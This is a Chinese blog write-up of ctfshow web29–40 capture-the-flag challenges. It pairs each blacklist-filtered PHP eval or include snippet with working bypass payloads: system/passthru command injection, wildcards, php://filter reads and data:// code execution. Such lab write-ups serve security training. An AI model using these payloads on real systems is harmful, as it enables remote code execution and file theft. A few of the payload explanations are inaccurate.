ctfshow web29-40

已于 2024-03-04 11:14:21 修改
阅读量975 收藏 14
点赞数 10
分类专栏： ctf 文章标签： 安全 网络安全
于 2024-03-04 11:13:33 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_74057302/article/details/136305730
版权

曲曲折折的路总有它的道理 只希望最后一页是花开万里。

web29

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);

过滤了flag整体大小写

preg_match("/flag/i", $c)

 ?c=system("ls");

 可以看到flag

只需绕过flag即可

?c=system("cat f*");
?c=system("cat fla''g.php");
?c=system("cat fla?.php");

?c=system("cat fla?.php");
?c=system("nl fla?.php");
?c=system("tac fla?.php");

?c=passthru("cat%20f*");

也可以

payload1:c=system("nl fla?????");
payload2:c=system("nl fla*");
payload3:c=echo `nl fl''ag.php`;或者c=echo `nl fl“”ag.php`;或c=system('nl fl""ag.php');
payload4:c=echo `nl fl\ag.php`;//转义字符绕过
payload5:c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
payload6:c=eval($_GET[1]);&1=system('nl flag.php');或c=include($_GET[1]);&1=system("cat flag.php")

payload7:c=`cp f???.??? 123.txt`;//然后查看123.txt即可

web30

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了flag，system，php

这些函数都是一个效果

system()

passthru()

exec()

shell_exec()

popen()

proc_open()

pcntl_exec()

反引号 同shell_exec()//``

依然可以用

payload:c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php

payload:c=`cp f???.??? 123.txt`;//然后查看123.txt即可

payload:c=echo `nl f*`;或 c=echo `cat f*`;或 c=echo `tac f*`; 

payload:c=passthru("cat%20f*");

payload:c=passthru("cat%20fl''ag.ph''p");

payload:c=passthru("cat%20fl\ag.ph\p");

web31 

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

 题目过滤了flag，system，php，cat，sort，shell，点号，空格，单引号

思考：cat不能用可以用tac，nl，空格可以用%09代替,system可以用passthru替代

payload:c=passthru("tac%09f*");

也可以用

payload:c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php

payload:c=echo%09`nl%09f*`;或 c=echo%09`tac%09f*`; 

payload:c=eval($_GET[1]);&1=system('nl flag.php');

web32 

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了flag，system，php，cat，sort，shell，点号，空格，单引号，反引号，echo，分号，括号

思考：过滤了折磨多。。。参考一下?c=include$_GET["1"];&1=s.base64-encode/resource=flag.php

只需将;替换成?>

payload:?c=include$_GET["1"]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

 

web33

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

 过滤了flag，system，php，cat，sort，shell，点号，，空格，单引号，反引号，echo，分号，括号，双引号。

思考：比上题多过滤了双引号，也可以参考上题的payload：c=include$_GET["1"]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

[]里的如果是单字符可以去掉""

payload:c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

 

web34 

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

 过滤了flag，system，php，cat，sort，shell，点号，，空格，单引号，反引号，echo，分号，括号，冒号，双引号。

就多增加了冒号，可以用上一题的payload

payload:c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web35 

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

 过滤了flag，system，php，cat，sort，shell，点号，，空格，单引号，反引号，echo，分号，括号，冒号，双引号，<，等于号。

多增加了>,和等于号，仍可以使用上一题的payload

payload:c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web36

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

  过滤了flag，system，php，cat，sort，shell，点号，，空格，单引号，反引号，echo，分号，括号，冒号，双引号，<，等于号,/,数字0-9。

增加了/，数字0-9，仍然借鉴上一题的payload：c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

把1换成a即可

payload：c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

代码中将$c用include包裹了起来，需要用到php的伪协议，这里可以使用data的伪协议

data://
同样类似与php://input，可以让用户来控制输入流，当它与包含函数结合时，用户输入的data://流会被当作php文件执行。从而导致任意代码执行。

payload1:c=data://text/plain,<?php%20system("cat%20f*");?>

payload2:c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==// base64，解密后为<?php%20system("cat%20f*");?>

web38

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

过滤了flag，php，file。

依可以用上一题的payload

payload:c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==// base64，解密后为<?php%20system("cat%20f*");?>

web39

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

这题输入的c被强制加了.php后缀

但是data中的<?是闭合的所以后面的.php没有用

仍可以使用37题的payload

payload:c=data://text/plain,<?php%20system("cat%20f*");?>

web40

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\（|\）|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

题目过滤了各种符号，但是正则中过滤了中文的括号，不是英文的.

所以我们可以用无参数文件读取：无参数读文件和RCE总结 - FreeBuf网络安全行业门户

构造payload：c=show_source(next(array_reverse(scandir(getcwd()))));

AZ_aa
关注
  • 10
    点赞
  • 踩
  • 14
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
ctfshow web223-group盲注无数字
10-21
ctfshow web223-group盲注无数字
ctfshow web123-127
akxnxbshai的博客
02-08 3055
目录 Web 123 Web 125 Web 126 Web 127 Web 123 <?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: [email protected] # @link: https://ct
ctfshow web29-web40
m0_73721944的博客
04-22 714
1=php://filter/convert.base64-encode/resource=flag.php：使用GET请求传递参数"1"，该参数的值为php://filter/convert.base64-encode/resource=flag.php。这是一种特殊的文件包含方式，其中php://filter用于对文件进行过滤和转换，convert.base64-encode表示将文件内容进行Base64编码，而resource=flag.php指定了要读取的文件为flag.php。
CTFshow Web1 - Web12
rumil的博客
07-01 480
使用工具HackBar，查看存储当中的信息，找到cookie信息，发现session值，已经给了我们值，但是我们不知道session值对应的password是多少，所有可以给他清空，密码也清空。发现该站点给了我们密码，但是观察源码当中发现还是过滤掉了很多的关键字，双写也无法绕过，注意看密码处，跟session做比较，我们可以修改session值，来绕过。拿到题目，我们打开文章列表依次查看，观察url信息，发现信息在url当中，可能存在sql注入，尝试注入。发现不能正常的回显，出现错误。
ctfshow-WEB-web7
wangyuxiang946的博客
08-22 1万+
ctf.show WEB模块第7关是一个SQL注入漏洞,注入点是数值型注入,源码中过滤了空格,我们可以使用括号()或者注释/**/来代替空格 页面中有一个文章列表,随便点一个 从url地址栏中可以看到,页面通过文章的id值来查询文章内容,我们可以考虑SQL注入漏洞 首先判断注入点,输入以下payload,使SQL恒成立 1/**/and/**/1 可以看到,页面正常显示 在输入以下payload,使SQL恒不成立 1/**/and/**/0 可以...
CTFshow web入门---web56
qq_53099119的博客
11-13 1313
在P神文章中>深入理解glob通配符
ctfshow-WEB-web8
热门推荐
wangyuxiang946的博客
09-05 2万+
ctf.show WEB模块第8关是一个SQL 注入漏洞, 注入点是数值型, 注入类型推荐使用布尔盲注,此关卡过滤了空格,逗号,and,union等关键字, 1. 过滤空格, 可以使用括号() 或者注释/**/ 绕过 2. 过滤and, 可以使用or替代 3. 过滤union, 可以用盲注替代联合注入 4. 过滤逗号, 可以使用特殊语法绕过, 比如:substr(database(),1,1) 可以用substr(database() from 1 for 1)来代替 首先确定注入点, 输入...
CTFshow---WEB入门---web6
qq_43752749的博客
12-11 390
提示flag在fl000g.txt文件中，查看fl000g.txt。提交flag{flag_here}发现不正确。从url中访问fl000g.txt。提示我们访问www.zip。查看index.php。
CTFSHOW WEB 1-100
weixin_54558860的博客
11-20 2495
ctfshow web 1-100
ctfshow web入门-XXE
LYJ20010728的博客
09-10 1580
ctfshow web入门-XXEweb373题目描述解题思路web374题目描述解题思路web375题目描述解题思路web376题目描述解题思路web377题目描述解题思路web378题目描述解题思路 web373 题目描述 开X 解题思路 题目给出源码，一个有回显的文件读取漏洞 <?php error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://inpu
ctfshow-VIP题目-Web-详细解题思路
01-27
ctfshow-VIP题目-Web-详细解题思路
ctfshow web189 无单引号，利用回显不同，盲注
10-21
ctfshow web189 无单引号，利用回显不同，盲注
CTFshow-菜狗杯-WEB-变量循环取值-我的眼里只有$
03-04
CTFshow-菜狗杯-WEB-变量循环取值-我的眼里只有$
ctfshow web139命令盲注脚本
10-21
ctfshow靶场 web入门 web139 命令盲注脚本
概念解析 | 威胁建模与DREAD评估：构建安全的系统防线
NLOS的博客
05-05 435
在信息安全领域，威胁建模就像是一位睿智的军师，他审时度势，为系统安全布局。这位军师会仔细分析系统的架构，找出其中潜在的薄弱环节，预判可能出现的安全威胁。他会问自己这样的问题：“如果我是敌人，我会从哪里发起进攻？我的目标是什么？我会利用系统的哪些漏洞？通过这样的分析，威胁建模可以帮助我们更全面、更系统地评估系统面临的安全风险，找出最需要防范的威胁，并有针对性地制定防御策略。这就像是在城墙上加固门禁，在易受攻击的地方布置更多的守卫。
内容安全（IPS入侵检测）
最新发布
m0_66993332的博客
05-07 457
入侵检测系统IPS
「 网络安全常用术语解读 」通用漏洞报告框架CVRF详解
网络安全
05-04 727
ICASI在推进多供应商协调漏洞披露方面处于领先地位，引入了通用漏洞报告框架（Common Vulnerability Reporting Format，CVRF）标准，制定了统一安全事件响应计划（USIRP）的原则，帮助创建了多方漏洞协调和披露指南和实践，并建立了一个成功协调多供应商应对众多安全事件的行业领导者信托小组。为了继续取得这些成功，并确保全球社会更广泛的参与，ICASI（Industry Consortium for Advancement of Security on the Internet
JAVA语言开发的（智慧校园系统源码）智慧校园的痛点、智慧校园的安全应用、智慧校园解决方案
爱笑的源码博客
05-07 1111
智慧校园的解决方案 1、基础设施建设：无线网络全覆盖：确保校园内所有区域都有稳定的无线网络信号，满足师生在教学、学习、科研和生活中的网络需求。 2、物联网部署：在教室、实验室、图书馆、宿舍等场所部署物联网设备，实现设备间的互联互通和智能管理。
ctfshow-web-web红包题
07-14
### 回答1： ctfshow-web-web红包题是一道CTF比赛中的网络安全题目。这道题目的背景是一个在线购物网站，要求我们通过安全漏洞来获得网站的红包。 首先，我们可以检查网站的源代码，寻找可能存在的漏洞。在网站的前端页面中，我们注意到了一个提交订单的功能，并且发现了其中一个参数可以被用户任意修改。这可能导致一个被称为SQL注入的漏洞。 我们试图通过在参数中插入恶意代码来进行SQL注入攻击。我们发现当我们输入`' or 1=1 -- `时，查询结果会返回所有订单记录，而不仅仅是当前用户的订单。这表明成功利用了SQL注入漏洞。 接下来，我们要尝试进一步利用这个漏洞来获取网站的红包。我们可以通过构建特制的SQL语句来绕过登录过程，直接获取红包的信息。 最终，我们成功地利用了网站存在的漏洞，获取到了红包的相关信息。这个过程展示了在网络安全竞赛中，如何通过分析代码和利用漏洞来实现攻击的目标。 在这个过程中，我们需要具备对SQL注入漏洞的理解和掌握，并且需要有一定的编程和网络安全知识。通过解决这样的题目，我们可以提高我们对网络安全攻防的认识和技能，以更好地保护网络安全。 ### 回答2： ctfshow-web-web红包题是一个CTF（Capture the Flag）比赛中的Web题目，目标是通过分析Web应用程序的漏洞来获取红包。CTF比赛是一种网络安全竞赛，在这种比赛中，参赛者需要通过解决各种不同类型的安全挑战来积分。 该题目中的Web应用程序可能存在一些漏洞，我们需要通过分析源代码、网络请求和服务器响应等信息来找到红包的位置和获取红包的方法。 首先，我们可以查看网页源代码，寻找可能的注入点、敏感信息或其他漏洞。同时，我们还可以使用开发者工具中的网络分析功能来查看浏览器和服务器之间的通信内容，找到可能存在的漏洞、密钥或其他敏感信息。 其次，我们可以进行输入测试，尝试不同的输入来检查是否存在注入漏洞、文件包含漏洞、路径遍历漏洞等。通过测试和观察响应结果，我们可以得到一些重要的信息和线索。 最后，我们可以分析服务器响应和错误信息，查找可能存在的网站配置错误、逻辑漏洞或其它任何可以利用的安全问题。此外，我们还可以使用常见的Web漏洞扫描工具，如Burp Suite、OWASP ZAP等，来辅助我们发现潜在的漏洞。 通过以上的分析和测试，我们有可能找到获取红包的方法。然而，具体的解题方法还需要根据题目中的具体情况来确定。在CTF比赛中，每个题目的设置都可能不同，解题的方法和思路也会有所差异。因此，在解题过程中，要保持敏锐的观察力和灵活的思维，尝试不同的方法和技巧，才能成功获取红包并完成任务。 ### 回答3： ctfshow-web-web红包题是一个CTF比赛中的网络题目，其目标是寻找并利用网页内的漏洞，获取红包。 首先，我们需要分析该网页的源代码，寻找可能存在的漏洞。可以通过审查元素、浏览器开发者工具等方式进行源代码分析。 其中，可能存在的漏洞包括但不限于： 1. 文件路径遍历漏洞：通过对URL的参数进行修改，尝试访问其他目录中的文件。 2. XSS漏洞：通过在用户输入的地方注入恶意代码，实现攻击者想要的操作。 3. SQL注入漏洞：通过修改数据库查询参数，获取未授权的数据。 4. 文件上传漏洞：上传恶意文件并执行。 一旦发现漏洞，我们需要进一步利用它们来获取红包。例如，如果存在文件路径遍历漏洞，我们可以尝试通过修改URL参数的方式，访问网站服务器上存放红包的文件目录，获取目录中的文件。 如果存在XSS漏洞，我们可以尝试在用户输入的地方注入一段JavaScript代码，以获取网页中的敏感信息或执行一些恶意操作，如窃取cookies。 如果存在SQL注入漏洞，我们可以尝试通过修改数据库查询参数，获取未授权的数据，如红包的具体位置或密码。 如果存在文件上传漏洞，我们可以尝试上传一个特殊设计的恶意文件，以执行任意命令或获取服务器上的文件。 综上所述，ctfshow-web-web红包题需要我们深入分析网页代码，发现可能存在的漏洞，并利用这些漏洞获取红包。这个过程需要我们对常见的漏洞类型有一定的了解，并具备相关的漏洞利用技术。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值